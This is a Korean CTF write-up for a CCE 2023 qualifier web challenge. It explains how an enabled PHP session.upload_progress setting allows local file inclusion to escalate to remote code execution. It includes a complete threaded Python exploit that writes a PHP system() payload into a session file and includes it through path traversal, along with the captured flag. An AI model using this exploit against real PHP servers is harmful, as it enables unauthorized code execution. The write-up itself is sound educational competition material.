-
Prob
[www] user = www-data group = www-data listen = /run/php/php7.4-fpm.sock listen.owner = www-data listen.group = www-data pm = dynamic pm.max_children = 48 pm.start_servers = 16 pm.min_spare_servers = 8 pm.max_spare_servers = 16 php_admin_value[session.upload_progress.enabled] = 1 php_admin_value[memory_limit] = 32M php_admin_value[max_execution_time] = 10s php_admin_value[opcache.enable] = 0 request_terminate_timeout = 15s
이 문제에서 www.conf 파일을 보면 PHP_SESSION_UPLOAD_PROGRESS를 켜둔 것을 확인할 수 있었습니다.
php_admin_value[session.upload_progress.enabled] = 1
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS - HackTricks
The trick to remove the initial prefix was to base64encode the payload 3 times and then decode it via convert.base64-decode filters, this is because when base64 decoding PHP will remove the weird characters, so after 3 times only the payload sent by the at
book.hacktricks.xyz
PHP_SESSION_UPLOAD_PROGRESS 가 켜져 있는 경우 POST 데이터에 PHP_SESSION_UPLOAD_PROGRESS 매개 변수를 넣어 서버로 보내주면 세션을 강제로 생성할 수 있습니다.
세션 파일의 이름은 PHPSESSID 값으로 생성되고 아래의 경로에 생성되게 됩니다./var/lib/php/sessions/sess_{}
그리고 PHP_SESSION_UPLOAD_PROGRESS 에 제공된 모든 값이 세션 파일의 내용이 됩니다.
이를 이용해 아래의 익스 코드로 LFI to RCE를 트리거 시켜 문제를 풀 수 있었습니다.[Web] HackCTF Wise Saying
해당 url을 눌러 이동해보자. 이동하였더니 로그인 창이 뜬다. 아무런 값이나 넣어 로그인 해보았는데 로그인이 되었다. 로그인이 되면 위와 같은 페이지가 나온다. 1 부터 10까지 다 눌러본 결과
hackintoanetwork.com
나머진 이 문제 참고.
Exploit
import requests import threading url = "http://20.196.197.149:8000/" found_flag = False def sess_req(): cookie = {"PHPSESSID": "hackintoanetwork"} data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("/readflag")?>'} while not found_flag: res = requests.post(url, files={"f": "hackintoanetwork"}, data=data, cookies=cookie) def exploit(): payload = "?page=../../../../var/lib/php/sessions/sess_hackintoanetwork" while True: res = requests.get(url + payload) if "cce2023{" in res.text: print(res.text) global found_flag found_flag = True break if __name__ == "__main__": threads = [] for _ in range(10): thread = threading.Thread(target=sess_req) thread.start() threads.append(thread) exploit() for thread in threads: thread.join()
FLAG
FLAG : cce2023{1e6b9e3691debe669ecd5626e7797ad4}
'CTF > Cyber Conflict Exercise 2023' 카테고리의 다른 글
[CCE 2023 Quals] Baby File Manager (0) 2023.06.10 댓글